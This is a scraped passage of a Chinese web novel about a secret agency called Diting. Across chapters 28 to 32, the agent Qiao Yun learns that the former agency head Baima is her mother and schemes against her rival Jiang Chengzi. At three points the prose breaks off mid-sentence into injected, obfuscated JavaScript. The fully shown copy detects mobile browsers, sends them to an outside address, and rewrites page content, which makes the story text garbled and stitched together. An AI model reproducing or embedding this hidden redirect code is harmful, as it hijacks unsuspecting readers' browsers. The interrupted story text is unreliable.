但那个身形,那身略显宽大的藏袍…… 乔韫的脚步猛地顿在原地。 坐在那里的,根本不是她预想中的任何一个人。 那是一个女孩。 一个她绝没想到会在这里,以这种方式再次见面的人。 ——白玛。 她的脸上带着一种与身形极不相符的平静,甚至可以说是……淡漠。 她看着僵在门口的乔韫,嘴角微微向上弯起: “乔姐姐,你来啦。” 28. 女儿 “你骗了我?” 乔韫早该想到的。 或者说,她早该相信自己最初的判断。 白玛的外表实在太有欺骗性,任何一个成年人都不会对她有提防心理。 白玛没有回答,嘴角反而缓缓向上牵起,勾勒出一个笑容。 乔韫就当她默认了。 她骤然拔枪,指向白玛。 几乎是在乔韫举枪的同一瞬间,白玛身侧那两位一直沉默寡言的女人动了。 藏袍下摆翻飞,露出紧握在手中的枪。 黑洞洞的枪口没有丝毫犹豫,精准地锁定了乔韫。 局势瞬间逆转,从单方面的质问变成了三方对峙的死局。 “啧。” 白玛轻轻咂了下嘴。 她歪着头,目光里甚至带着一丝欣赏:“挺机警的嘛,乔韫。这么快就试探出我这里的武力设置了?看来江城子把你教得不错。” 乔韫没有理会她的调侃,但既然被识破用意,她索性也就将枪放了下来。 “你……是侏儒?” 白玛脸上的笑容瞬间收敛了。 这个词显然刺中了她。 白玛的眉头不悦地蹙起,眼底掠过一丝阴霾。 但她并没有否认,只是重新审视着乔韫,半晌,才淡淡地“嗯”了一声,算是承认。 乔韫继续逼问:“江城子那个所谓的‘顶头上司’,是你?” 白玛闻言,脸上最后一点伪装也彻底褪去,周身平白多出几分不怒自威的气场。 她轻轻挥了挥手,那两名持枪的女人见状,枪口微微下垂了几分,但警惕的姿势并未改变,只要乔韫有所动作,她二人也能在最短的时间内将其制服。 “姑且算是吧。”白玛顿了顿,“看来你对组织的构成,并非一无所知。” “我知道的比你以为的要多,但也比我想知道的要少。” 乔韫强迫自己冷静下来,大脑飞速整理着信息。 江城子,负责实验体事宜,但他调动“清道夫”需要授权,权限并不完全在他手里。 所以乔韫猜测,“清道夫”虽隶属谛听小组,但拥有自己独立的指挥体系,和江城子的实验组是平行关系。 小莫的实验员团队归江城子管辖,而乔韫所在的行为分析小组,虽然也归他管,但某种程度上和小莫他们又是相互制衡的。 所以,乔韫所掌握的信息,可以理解为:由江城子领导的实验体组=“清道夫”>实验员小组=行为分析小组。 至于江城子之上…… 乔韫的目光扫过白玛的脸:“我一直以为,在江城子的权限之上,只是某种模糊的‘上级部门’或‘委员会’。没想到,是一个人。” “看来你对谛听的观察比我想象的要透彻。” 白玛打量着乔韫变幻的表情,为她解释道: “谛听小组,主要由三大部分构成:实验组,负责‘产品’的研发与测试,江城子是组长; “‘清道夫’,负责内部肃清、外部抓捕以及特殊‘废弃物’处理,他们的组长代号‘阎罗’; “后勤组,负责一切支援保障,包括信息、医疗、装备,组长是‘管家’。 “这三组彼此独立,互不统属,只对唯一的‘谛听组长’负责。” 白玛说到这里,眼帘微微下垂了一些,但不过转瞬,又恢复了神采奕奕的状态。 “而我……则是前任谛听组长。” 乔韫敏锐地捕捉到了她的用词:“前任?” “没错,前任。” 白玛的语气里听不出什么情绪,她转身,缓缓走向毡房角落里一个不起眼的旧木柜,从底层取出一盒线香。 “如果你想知道我为什么是‘前任’,”白玛整理了一下衣襟,“就陪我去上一炷香吧。” 乔韫沉默地看着她,又瞥了一眼旁边虎视眈眈的两个女人。 她知道这不是邀请,而是命令。 “带路。” 白玛率先走出了毡房。 两名女护卫一左一右“护送”着乔韫跟上。 白玛对这里极其熟悉,显然,比起远处那个小小的破毡房,这里才是她真正的住所。 她绕到毡房后面,走向祠堂。 祠堂门口守着另一个穿着藏袍的男人,见到白玛,无声地躬身行礼,推开了沉重的木门。 里面空间不大,只点着几盏酥油灯,光线昏暗,空气中弥漫着淡淡的酥油和藏香混合的气息。 正前方的神龛上,供奉着几尊模糊不清的神像,面容在跳跃的光影中显得神秘而肃穆。 白玛将香盒递给守门人。 守门人双手接过香,娴熟地从中抽出两根,在酥油灯上点燃,一根递给白玛,而另一根,则递给了乔韫。 乔韫迟疑了一下,还是接过了那炷香。 香烟袅袅升起,模糊了她的视线。 她学着白玛的样子,朝着神龛拜了三拜,然后将香插入香炉之中。 香炉里积满了香灰,显然这里香火不断。 白玛应该常来上香。 做完这一切,白玛在一个陈旧的蒲团上跪坐下来,她指了指旁边的另一个蒲团,示意乔韫。 乔韫依言坐下。 原先在房里的对峙气氛似乎被这庄严肃穆的宗教场域冲淡了些许,但乔韫紧绷的神经并未放松。 正题才刚刚开始。 白玛的目光望着那缓缓燃烧的香线,沉默了许久,才缓缓开口,声音清脆,与她接下来的话形成鲜明反差: “我今年,已经六十三了。” 乔韫的心猛地一跳。 六十三?! 她看着眼前这张最多不超过十岁孩童的面容,一股寒意无法抑制地从脊椎骨窜起。 白玛似乎并不期待她的回应,继续自顾自地说下去, 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“这与我爱人的理念不谋而合,他认为,‘谛听’的目标不应该仅仅是‘治愈’,而应该是‘创造’——为国家培养出最强的‘超级特工’,成为隐藏在暗处的‘钢铁长城’。 “直到那时,我才惊恐地发现,早在我因怀孕生子而精力不济的那段时间里,我手中的权力,早已被他不动声色地架空了。 “为了挽回这一切,我甚至……将我刚满三岁的女儿送进了孤儿院。 “可我还是失败了,十五年前,新‘谛听小组’正式成立,我退居幕后,直到现在。” 乔韫静静地听着,到后半段,她的身体却不由自主地开始微微颤抖。 白玛为什么要对她说这些? 这和她今天的任务有什么关系? 这和组织的计划有什么关系?! 乔韫猛地抬起头,试图打断这令人不安的倾诉: “这些陈年旧事……和我有什么关系?组织派你来难道是为了跟我忆苦思甜的吗?” 白玛被打断,愣了一愣。 她转头看向乔韫,眼神复杂难辨。 “任务?”她几乎耳语般地重复了一遍,随即缓缓摇头,“不,乔韫。这不是任务。” 她的目光再次投向那炷即将燃尽的香,声音轻得像烟: “这是我的私心。 “过了二十多年,我只是想……和我的女儿团聚。” 香灰悄然断裂,落下一截。 祠堂内寂静无声,只有酥油灯燃烧时偶尔发出的噼啪微响。 “也想让她……认祖归宗了。” 乔韫如遭雷击。 整个世界的声音仿佛在这一瞬间消失,只剩下白玛最后那句话,在她脑海里疯狂回荡,炸得她神魂俱碎。 认祖归宗? 女儿……? 29. 突袭 “你在放什么狗屁?” 乔韫扫过白玛的脸,眼神里满是讥诮:“你要夺回谛听,那是你的权力斗争;你要找女儿,那是你的家务事——这些,都跟我没有半毛钱关系。” 乔韫说着就要往门口走: “我朋友还在外面等着,没空陪你在这儿认亲攀故。” 可她刚迈过门槛,那两个一直守在旁边的女人就动了。 她们像两尊沉默的石像,瞬间挡在乔韫面前,藏袍下的手依旧握着枪,枪口虽未完全抬起,却明晃晃地透着“拦路”的意味。 乔韫的脚步顿住,后背却传来白玛的声音,慢悠悠地扎进她紧绷的神经里: “我怀你的时候,总整夜整夜地睡不着。” 乔韫的脊背僵了僵。 “医生说我的骨骼发育异常,怀孕本身就比常人风险高,还说孩子遗传的概率不低。 “我每天都在想,要是我的孩子也跟我一样,一辈子顶着张小孩儿的脸,被人当成怪物看,该怎么办?” 乔韫的手指无意识地攥紧了挎包带,帆布的纹路硌得掌心发疼。 “还好,你很健康。 “生你的时候,你体型和正常婴儿一样大,我差点没挺过来,大出血,在手术台上躺了三天三夜。” “够了!” 乔韫猛地转过身,眼底的冷静彻底碎裂。 她指着白玛,声音因为激动而发颤:“你凭什么让我相信这些?就凭你几句轻飘飘的话?证据呢?少在这里信口雌黄,把我当傻子耍!” 她活了二十八年,从孤儿院到谛听,再到被扫地出门后靠算命混日子,从来没人跟她说过“怀孕时担心你”“生你时差点没命”这种话。 “母亲”这两个字,对她来说,从来都是书本上的符号,是别人口中的温暖,跟她乔韫没有半分关系。 白玛看着她暴怒的样子,脸上没有丝毫意外,只是缓缓开口:“我现在就能带你去做亲子鉴定,临昌市最好的医院,我已经安排好了人。” 她的目光直直地锁住乔韫: “你敢吗?” 乔韫张了张嘴,却一个字也说不出来。 敢吗? 她想喊“有什么不敢的”,想立刻跟着白玛去医院,把这荒诞的“认亲”彻底戳破。 可心底深处,却有个声音在作祟——万一,万一这是真的呢? 万一她真的有母亲,万一这些年真的有人在偷偷关注她,万一“母亲”这个词,真的能落在她乔韫身上呢? 那点隐秘的期待像藤蔓,悄无声息地缠住了她的心脏,让她连呼吸都变得滞涩。 祠堂里的酥油灯噼啪响了一声,香灰又落下一截,落在满是灰烬的香炉里,没掀起半点波澜。 乔韫沉默了很久,久到她觉得膝盖都开始发麻,才讷讷地开口,声音低得像在自语: “这么多年……你到底把我当什么?” “我把你当成我的接班人。” 白玛回答得很快,没有丝毫犹豫。 接班人…… 乔韫心底泛起一阵说不清道不明的失落——她没办法把眼前这个“小孩儿”当成母亲,可她又的确希望白玛是,希望自己能有个真正的母亲。 “母亲”这两个字的诱惑力太强了,强到让她几乎要忽略这场景里的荒诞。 没有久别重逢的拥抱,没有声泪俱下的倾诉,只有一场充满算计和试探的对峙。 这让乔韫觉得讽刺。 白玛的目光软了些,她指了指旁边的蒲团:“坐下说吧。” 见乔韫没动,她又补充了一句:“事关林听。” 乔韫的心头猛地一跳。 林听。 这个名字像一把钥匙,瞬间打开了她紧绷神经里最敏感的那根弦。 她最终还是坐回了蒲团上,只是刻意离白玛远了些,保持着最后的警惕。 白玛看着她的动作,眼底闪过一丝复杂,却没多说什么,径直开口:“你父亲的想法,确实偏激。” 乔韫抬了抬眼。 “他想把实验体变成‘武器’,想靠谛听掌控一切,这些年,他的确取得了成果——六号的体能突破,九号的读心术,还有五号和六号的意识融合…… “我这些年对谛听的事不闻不问,偶尔帮点小忙,不过是不想彻底跟他撕破脸,也想过几天安稳的退休日子。” 可她话锋一转,语气陡然变得严肃: “但林听的出现,让我意识到,谛听计划必须终止。” 乔韫的呼吸顿了顿。 “林听已经出现了神经进化。”白玛目光沉沉,“现在连信号屏蔽器,都无法完全阻拦他的读心术了。” 乔韫的指尖猛地一颤。 “我害怕的不是他现在的能力。”白玛继续说着,“我害怕他会不断进化,进化到谛听彻底无法控制的地步。 “谛听造这些实验体,本是想当‘底牌’,可万一某天,这些‘底牌’反过来对准我们,你觉得,谛听能挡得住吗? “我们只会首当其冲,被自己造出来的‘怪物’毁掉。 “我和你父亲,这些年一直暗地里关注着你。 “我们本来的计划是,等我们彻底退休,就把谛听的权力慢慢交给你,让你当新的谛听组长。” 她看着乔韫,眼神里满是期许:“现在,只有你有能力终止这个计划。 “你了解林听,也了解谛听的运作模式,更重要的是,你已经取得了你父亲的信任,在这份信任之下,你才能神不知鬼不觉地掌握权力,推翻谛听……” “林听什么时候发生的神经进化?” “嗯?” 乔韫的注意力依然在“林听”和“进化”上,对后面的内容置若罔闻。 白玛愣了一下,似乎没料到她会问这个。 “我以为你知道。 “大概……就是在你们去雪山之后吧。” 乔韫的心脏像被一只手攥紧了,连呼吸都变得困难。 “所以他知道……我打算害他的事情?” “我无法确定他知道多少,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他之前捣鼓出了一张特制的磁卡,能暂时覆盖和破坏掉DT3V原有的身份识别系统,让他这个非车主也能紧急启动车辆。 一边想着,陈放一边屏住呼吸,翻起身上大大小小的口袋。 该死的……放哪儿去了? 啊,找到了! 就在陈放要把磁卡抽出来的瞬间,后颈突然传来一阵剧痛。 “呃!” 陈放闷哼一声,眼前一黑,手里的磁卡掉在地上,倒了下去。 “清道夫”从阴影里走出来,看了一眼地上的陈放,拿起对讲机,说了句“目标已捕获”,弯腰扛起陈放,离开了。 DT3V的车旁,陈放的手机还躺在地上。 屏幕闪烁,传来乔韫的声音: “喂,陈放?怎么了?” “怎么不说话?” “喂?” …… 30. 升职 “你的朋友,可能出事了。” 白玛看着乔韫渐渐变得焦急的面庞,在旁好整以暇说道。 乔韫猛地抬头,目光像刀子一样剜向白玛: “是你干的?” “不是我。”白玛否认得干脆利落,脸上甚至没有一丝波澜,“但我这里有外面的监控。你可以自己去看看。” 乔韫的理智告诉她,白玛没必要在这种一戳就破的事情上撒谎,但情感上的冲击和巨大的不信任感让她无法冷静。 “看监控?为什么不能让我直接出去看看?陈放就在外面!” “乔韫,”白玛的声音里带上了一丝不易察觉的叹息,或者说,是某种居高临下的怜悯。 “你很清楚,现在已经晚了,不是吗?如果我不帮你,你单枪匹马,就算现在冲出去,除了把自己也搭进去,还能做什么?一切都于事无补。” 这句话像一盆冰水,浇熄了乔韫想要立刻冲出去的念头。 她说得对。 如果陈放真的已经被控制甚至带走,她此刻贸然冲出去,无异于自投罗网。 一种深深的无力感攫住了她。 “……监控室在哪?”乔韫几乎是咬着牙挤出这句话。 白玛没再多说,只是示意那两位女护卫之一在前带路。 她们离开了气氛压抑的祠堂,穿过一条隐蔽的狭窄通道,来到了另一个房间。 数面屏幕墙上正显示着毡房周围各个角度的实时画面。 乔韫几乎是扑到主控屏前,手指有些发颤地快速回放不久前的监控记录。 很快,画面定格在DT3V停靠的区域。 几个穿着熟悉的黑色作战服的身影出现在画面中,行动迅捷。 他们的动作、配合模式,与乔韫记忆中“清道夫”小组的风格如出一辙。 陈放躲避、打电话、然后被从视觉死角偷袭、拖走…… “清道夫……”乔韫的心沉了下去,她猛地转头看向白玛,“是‘阎罗’的人?他怎么会来这里?” “你再仔细看看。”白玛打断她,声音依旧没什么起伏,“注意细节。” 乔韫强压下焦躁,将监控画面放大,一帧一帧地仔细查看。 突然,她的目光凝固了。 在其中一个黑衣人侧身的瞬间,他腰侧作战服的纹样在高清摄像头下暴露无遗——那图案的整体轮廓与正统“清道夫”的标识极其相似,但在某个极细微的转角处,纹路的走向却存在一丝微不可查的差异。 这不是标准制式! 乔韫的瞳孔骤然收缩:“这是……有人在假扮清道夫?” 用“清道夫”的身份来掩人耳目,干脏活,再把黑锅甩给“阎罗”……这必然是谛听内部的人所为。 而且绝不会是“清道夫”本部的人,他们没必要多此一举,更不会主动把嫌疑引到自己身上。 后勤组? “管家”一向明哲保身,他的部门与其他组来往甚少,很少主动卷入这种纷争。 那么……剩下的最大嫌疑,就只剩下…… 乔韫感到一股寒意从脚底直窜头顶。 实验体小组。 拥有独立行动能力、且能调动相当武装力量的,除了“清道夫”,就是直接负责“产品”安保和“回收”的实验体小组了。 是江城子? 他为什么要大费周章地抓捕陈放? 陈放不是早就在他的控制下了吗? 除非…… 一个答案呼之欲出。 江城子的最终目标,从来就不是陈放。 是——乔韫自己。 “江城子?” 乔韫猛地转头,试探着问白玛,目光死死盯住她的脸,不放过任何一丝细微的表情。 白玛的脸上没有一丝意外的神情,仿佛早就料到她会得出这个结论。 她只是平静地回视着乔韫。 乔韫心下顿时确定了大半,一股被毒蛇盯上的恶寒感让她头皮发麻: “你知道内情,对不对?你早就知道他会动手。” 白玛终于缓缓开口: “江城子比你想象的要聪明得多,也敏锐得多。 “我猜,他可能在很久以前,就通过各种蛛丝马迹,察觉到了你我之间可能存在某种特殊关联。 “他是个野心家,乔韫,他最大的目标就是不断往上爬,获取更大的权力。而你……” 白玛顿了顿,目光落在乔韫苍白的脸上:“你很可能,会成为他往上爬的路上,最大的、也是他最意想不到的阻碍。所以他早就想找个机会,神不知鬼不觉地处理掉你了。 “你能活到现在,某种程度上,纯属运气好。” 乔韫听得脊背发凉。 她回想起过往的种种,江城子那些看似公事公办的命令,那些“恰到好处”的威胁,那次在雪山毫不犹豫对准她的枪口……原来都不是错觉。 白玛顿了顿,忽然用一种近乎叹息的语气加了一句:“说实话,我倒是很希望……江城子才是我的孩子。” 乔韫猛地一怔,沉默了。 这句话里包含的复杂意味,让她一时不知该如何回应。 是欣赏江城子的能力和野心? 还是遗憾他的立场和野心用错了方向? 或者,仅仅是对她这个“女儿”感到失望? 白玛没有在这个话题上停留,她很快回归正题:“江城子这次太急躁了。听说我要见你,他大概是怕了,生怕你回去之后,凭借这层关系摇身一变,真的成了能压在他头上的新上司。 “竟然胆大包天到敢在我的地盘门口,用这种拙劣的手段干这种勾当。” 她的语气里带上了一丝冷意:“不过这倒也给了我一个新的机会。乔韫,我们来做个交易吧。” 乔韫警惕地看着她。 “我来帮你摆平这件事,救回你的朋友。”白玛抛出了条件,“而你,帮我阻止‘谛听计划’。如何?” 乔韫的心脏剧烈地跳动起来。 阻止谛听计划,这是她潜意识里不敢深思却渴望的念头。 但…… 她倏然抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506327|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,目光锐利如鹰隼,反问道: “我如何确定,外面那帮人,就一定是江城子安排的,而不是你白玛自导自演的一出好戏,特地演给我看,就为了逼我跟你做这个交易呢?” 乔韫的思维极速运转。 组织内部人员、拥有心腹武力、针对她本人——这三点,白玛同样符合。 白玛闻言,非但没有生气,反而笑了起来,那笑容里带着几分赞赏,又几分讥讽: “乔韫,你能想到这一层,很好。但如果你真的这样想,那你就彻底掉进江城子为你精心准备的思维陷阱里了。 “他之所以选择在我家门口动手,之所以要用这种容易被戳穿的‘伪装’,其目的之一,很可能就是为了让你产生这样的怀疑——怀疑是我在自导自演,从而让你和我决裂,失去我这个潜在的、也是唯一能帮到你的盟友。 “这样一来,你就彻底孤立无援,只能任由他拿捏了。” 乔韫沉默了。 白玛的分析切中要害,逻辑上完全说得通。 如果真是白玛做的,她确实没必要多此一举搞什么伪装,更没必要在事后如此“坦诚”地带她来看监控,甚至分析利弊。 她完全可以用更直接的方式控制或胁迫自己。 相反,如此大费周章地离间,更像是江城子会用的手段。 “……好。”乔韫深吸一口气,仿佛下定了极大的决心,“我同意。你帮我救陈放,我……尽力阻止谛听。” 白玛脸上露出一丝满意的神色。 但乔韫立刻想到了另一个关键问题:“可是,如果我就这样回到临昌,回到基地,岂不是同样落进了江城子的势力范围?他既然已经动了杀心,我回去不是自投罗网?” “这个你不用担心。”白玛似乎早已料到她会这么问,从容答道,“我会立刻下达任命,擢升你为实验体小组的组长,让江城子……屈居副职。” 乔韫瞬间感到一股寒意窜遍全身,她立刻明白了白玛的用意。 这正是江城子所“期望”的——乔韫空降,成为他的上司。 但这绝非什么好事,而是白玛对她的一场冷酷考验。 白玛没有直接撤掉江城子的职务,或者将他调离实验体小组这个核心权力部门,而是把他这颗随时可能爆炸的炸弹,直接塞到了乔韫的手底下。 该如何收服这个野心勃勃、能力出众且早已对她起了杀心的下属? 又如何震慑和收服那些长期以来被江城子领导的组员? 这其中的凶险和难度,可想而知。 白玛是要看看,她这个“女儿”,这个“接班人”,究竟有没有能力在谛听这个弱肉强食的地方活下去,甚至掌控局面。 但……乔韫眼底深处掠过一道寒光。 白玛似乎认定了她会按照这条设定好的路径走下去。 可她乔韫,从来就不是什么乖乖听话的棋子。 反正她们交易的内容是“阻止谛听”,又没说…… 一定要用你白玛规定的方式。 不是吗? 31. 上任 临昌,谛听总部基地。 乔韫再次踏入这片熟悉的地下空间,身份已然不同。 白玛的任命通知在她抵达前就已送到。 此刻,她不是那个被铐住的囚徒,也不是狼狈的逃亡者,而是名义上的新任实验体小组组长。 江城子站在主控大厅的入口处,身后跟着几名神色肃穆的组员,包括脸色难看的小莫。 他依旧是那副一丝不苟的样子,眼镜后的目光平静无波,仿佛那道将他降为副手的任命文书对他的生活毫无影响。 “乔组长。”江城子微微颔首,语气听不出任何情绪,既无恭敬,也无抵触。 乔韫停下脚步,目光扫过众人,最后落在江城子脸上,嘴角勾起一个弧度: “江副组长,不必多礼。以后还要多仰仗你辅佐呢。” 她刻意加重了“副组长”三个字。 “分内之事。”江城子回答得滴水不漏,侧身让开通道,“您的办公室已经准备好,是否需要我先简要汇报一下小组目前的重点项目进展?” “不急。”乔韫摆摆手,径直朝里走去,“我先熟悉一下环境。对了,九号实验体……现在情况如何?” 她问得随意,仿佛只是例行公事。 但无论是问者,还是听者,都深知这句话之下的意味。 江城子跟在她身侧半步之后,声音平稳: “九号目前被收容在最高规格的实验屋,生命体征平稳,已表现出配合迹象。相关生理数据和行为观察记录,我已经拷贝到您办公室的电脑上了。” “嗯。”乔韫点点头,脚步不停。 “听说前几天,在外面出了点小意外?好像还牵扯到了一个叫陈放的技术人员?” 江城子镜片后的目光微微一闪,但语气依旧不变:“是有这么回事。 “我们发现陈放涉嫌利用其技术背景,多次违规协助组织外部人员,包括此前为您的DT3V进行非法改装。在进行调查传唤时,他试图抵抗,目前已被暂时控制,正在接受审查。” “哦?是吗?” 乔韫在一个交叉路口停下,转身面对江城子,脸上带着似笑非笑的表情。 “我怎么听说,是在雪山镇,被一伙冒充‘清道夫’的人给绑了的?江副组长,这调查传唤的方式,是不是有点太别致了?” 空气瞬间凝滞。小莫等人下意识地屏住了呼吸。 江城子脸上的肌肉绷紧了一瞬,随即恢复如常: “乔组长听到的消息恐怕有误。陈放是在其临时落脚点被我们正规的行动队员带走的,程序合规。至于什么冒充‘清道夫’,更是无稽之谈。想必是某些别有用心的人散布的谣言,意图挑拨离间。” “挑拨离间?”乔韫轻笑一声,停下脚步,向江城子逼近半分,声音压低,只有他们两人能听清。 “江城子,这里没外人,就不用演了。你在我‘母亲’家门口动手抓我的人,是真觉得她退休了,就提不动刀了,还是觉得我乔韫……好欺负?” 江城子的瞳孔微微收缩,但依旧维持着镇定:“乔组长,我不明白您在说什么。白玛女士早已不参与具体事务。至于您和我,现在同属一个小组,理应精诚合作。” “合作?” 乔韫脸上的笑容冷了下来。 “的确,是该合作。 “我还得好好请教江副组长,该如何管理下属,免得对方生出不该有的心思。还是说,江副组长也不知道这方面的理论,于是打算建议我‘格杀勿论’?” 江城子沉默地看着她,眼神深处终于掠过一丝阴鸷。 乔韫如此直白的威胁,打破了他惯常的节奏。 他确实没料到乔韫会如此毫不掩饰地撕破脸,更没料到她会直接抬出白玛来给自己施压。 “乔组长,威胁对解决问题没有任何帮助。”江城子缓缓说道,语气也冷了下来,“如果您对小组管理有任何指示,我自然会执行。但要是您仅仅想无理取闹,恐怕会让大家难做。” “这是你对上级说话的态度吗?” 江城子罕见地一愣,退后半步,将头低下。 “我很抱歉,乔组长。” “我不需要你感到抱歉,我只需要你感到畏惧,就像从前一样。”乔韫说道,“你只需要一如既往地忌惮我就够了。” 说完,她不再理会江城子,转身走向为她准备好的组长办公室。 关上办公室的门,乔韫并未放松下来。 她关掉灯,快步走到窗前,将百叶窗拉下,办公室登时陷入一片黑暗。 两道细微的红光,在乔韫视野里闪烁着。 她凑近去看,一个藏在插板内,还有一个,在天花板。 是针孔摄像头。 视野内的只有两个,但视野外的——或者说,她尚未注意到的——可能不止两个。 乔韫轻轻叹了口气,将口袋中的紫外灯拿出来,对着整个房间,几乎无死角地巡查了一番,将各个摄像头破坏掉,顺带发现了一个窃听器。 就在她办公桌底,没有任何掩饰,大咧咧地运作着。 这当然是江城子的手笔。 但如果江城子真想监视乔韫,绝不会以如此张扬的方式。他做出这一系列安排,仿佛就是为了让乔韫发现的。 ——这是江城子的示威。 不知为何,乔韫有些想笑。 她并不觉得这是“幼稚”的行为,乔韫之所以想笑,只是因为发现了江城子的想法竟与自己的不谋而合。 ——激怒对方。 他们实在难得有如此默契。 白玛的要求是“阻止谛听”。 而乔韫对“阻止”的理解,远比白玛想象的更加彻底。 她不要什么慢慢的权力斗争,不要什么收服江城子。 她要的,是一劳永逸。 她要——炸毁基地。 这个计划大胆到近乎自杀。 乔韫伏在桌面上,额头抵着手臂。 激怒江城子,是她有意为之的一步险棋。 她很清楚,自己想要炸毁基地的计划,规模如此之大,动作如此之绝,不可能完全瞒过江城子那双无处不在的眼睛。 她没有时间,也没有精力去和他进行漫长的权力拉锯,必须将计划筹备的时间压缩到最短,快刀斩乱麻。 那么,与其小心翼翼地隐藏,不如将矛盾彻底摆在明面上。 她用嚣张跋扈的态度,用“母亲”的威势直接打压他,就是要让江城子将注意力集中在她“新官上任三把火”的权力斗争上,集中在她个人对他的敌意和报复上。 她要让他以为,她所有的行动核心,都是为了争夺实验体小组的控制权,是为了羞辱和压制他。 只有这样,才能最大限度地掩盖她真正的意图。 只是,江城子为何要反过来激怒她? 那些可谓“明目张胆”的监控设备,像是在刻意挑衅。 他想从她的愤怒和反击中得到什么? 乔韫暂时想不通。 她只能希望,无论江城子在谋划什么,他的行动都能在自己的爆炸计划之后。 时间,她现在最需要的就是时间,以及……人手。 比如陈放。 出发回临昌前,白玛曾与她有过一段简短的对话。 “陈放已经救出来了。我会把他控制在我这里。你放心,他很安全。” 乔韫当时就冷笑出声:“控制在你这里?你是想用他来牵制我?” 白玛没有否认。 “我连林听都说抓就抓,你真以为陈放能威胁住我?白玛,最好别逼我太紧,真把我逼急了,没准连你这位‘前任组长’的性命,我也能一并拿下。更何况,我的计划需要陈放的协助。我现在能用的人,不多。” 最终,白玛叹了口气,妥协道:“……我会把他送回临昌。但乔韫,记住我们的交易。” 办公室外,天已经黑了下来。 乔韫直起身,摸出手机,屏幕的冷光照亮她略显疲惫的脸。 上面有一条信息,显示陈放已安全离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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屏幕上,林听依旧端坐在椅子上,上身未着寸缕,线条流畅的肌肉在灯光下显得有些苍白。 他目光平视着前方那面伪装成墙壁的单向玻璃,眼神空洞,没有任何焦点。 忽然,林听像是感应到了什么,将头毫无预兆地转向了监控的方向。 隔着屏幕,那双深邃的眼睛仿佛穿透了层层阻隔,直直地“看”进了乔韫的眼底。 乔韫心头猛地一跳,条件反射般按下了关闭键。 屏幕瞬间黑了下去。 她的呼吸声在办公室里回荡,有些急促。 乔韫靠在椅背上,回过神后,忍不住在心底骂了自己一句:到底在慌张什么?这是监控,他不可能看到自己。 可那种被瞬间锁定的心悸感久久不散。 她身体渐渐蜷缩起来,双臂环抱住自己,最后无力地将头埋进了臂弯,伏在桌案上。 焦虑像细密的蛛网般缠绕上来,让她感到呼吸困难。 她下意识地伸手,拉开了办公桌最上面的那个抽屉——里面赫然躺着一瓶熟悉的药物。 劳拉西泮。 乔韫的手指僵在了半空。 江城子……连她可能会在这种高压下焦虑发作,需要药物稳定情绪的事,都想到了吗? 他到底是什么时候,将这些细节都计算在内的? 他到底凭什么能把一切都想得如此周全?! 这就是……她现在最大的对手吗。 江城子回到了自己的办公室。 他没有开灯,唯一的亮源,是他面前那台电脑屏幕,幽蓝的光映在他脸上,勾勒出一个晦暗的轮廓。 屏幕上被分成了数个监控窗口,原本应该显示着乔韫办公室内部的各个角度,但此刻,这些窗口正一个接一个地,迅速变成一片漆黑。 最后,代表窃听器连接的音频波形图,也彻底变成了一条平直的直线,再无任何信号传来。 江城子神色淡淡,任凭这一切发生。 32. 江平 江城子原本不叫江城子。 他叫江平。 他已经十五岁了,在孤儿院,永远只遵循着一条原则:年龄越小,越抢手。 江城子年满十五岁,依然没被领养出去,是个不折不扣的“滞销品”。 更糟糕的是,他近视,看什么都像隔着一层毛玻璃,世界在他眼里是模糊扭曲的光斑和色块。 孤儿院资金捉襟见肘,配眼镜是奢望,他不敢提,更何况,提了也没用,没钱就是没钱。 于是每天,他都昏昏沉沉,走路深一脚浅一脚,常常莫名其妙就摔了跟头。 这成了其他孩子取乐的最佳素材。 “看!那个智障又摔了!” “路都走不好的低能儿!” “哈哈哈,活该没人要!” …… 嘲笑声日复一日地扎在江城子早已麻木的神经上。 他习惯了,只是沉默地爬起来,拍拍身上的灰,继续眯着眼,试图看清前方模糊的路。 那天,几个孩子故意伸脚绊他。 江城子猝不及防,重重摔在地上,膝盖和手肘火辣辣地疼。 那群孩子立刻围了上来,像观看动物园里稀奇的动物,指指点点,笑声刺耳。 “你们干什么?!不学好,净知道欺负人,我要告诉院长去!” 这时,一道女声插了进来。 江城子勉强抬起头,视线模糊中,看到一个黑瘦的身影挡在了他面前。 很矮小,脸上……好像有一大块深色的印记。他看不清具体样貌,只知道那印记的形状。 ——像一只蝴蝶。 那群欺负人的孩子被这突如其来的呵斥弄得安静了一瞬,随即,其中一个领头的啐了一口:“丑八怪,多管闲事!” 不知是谁先捡起了一块小石子,朝着女孩扔了过去。 “打那个丑八怪!” 一时间,仿佛找到了新的乐子,所有孩子都开始弯腰捡拾地上的石子、土块,朝着女孩和地上的江城子扔来。 女孩猝不及防,被一块石子打在肩膀上,痛呼一声,脚下不稳,摔倒在江城子身上。 江城子没有说话,甚至没有去看那些飞来的石子。 他只是在女孩倒下的瞬间,默默伸出手臂,将这个为他出头的身影揽进了自己怀里,用自己相对宽阔些的后背,承受了大部分的攻击。 石子噼里啪啦地打在背上、头上,有点疼。 女孩在他怀里还在不停地骂,声音带着哭腔,却倔强地没有求饶。 等那群孩子闹够了,嘻嘻哈哈地散开,世界才重新安静下来。 女孩从他怀里挣扎着爬起来,脸上沾了灰,衬得那块胎记更明显了。 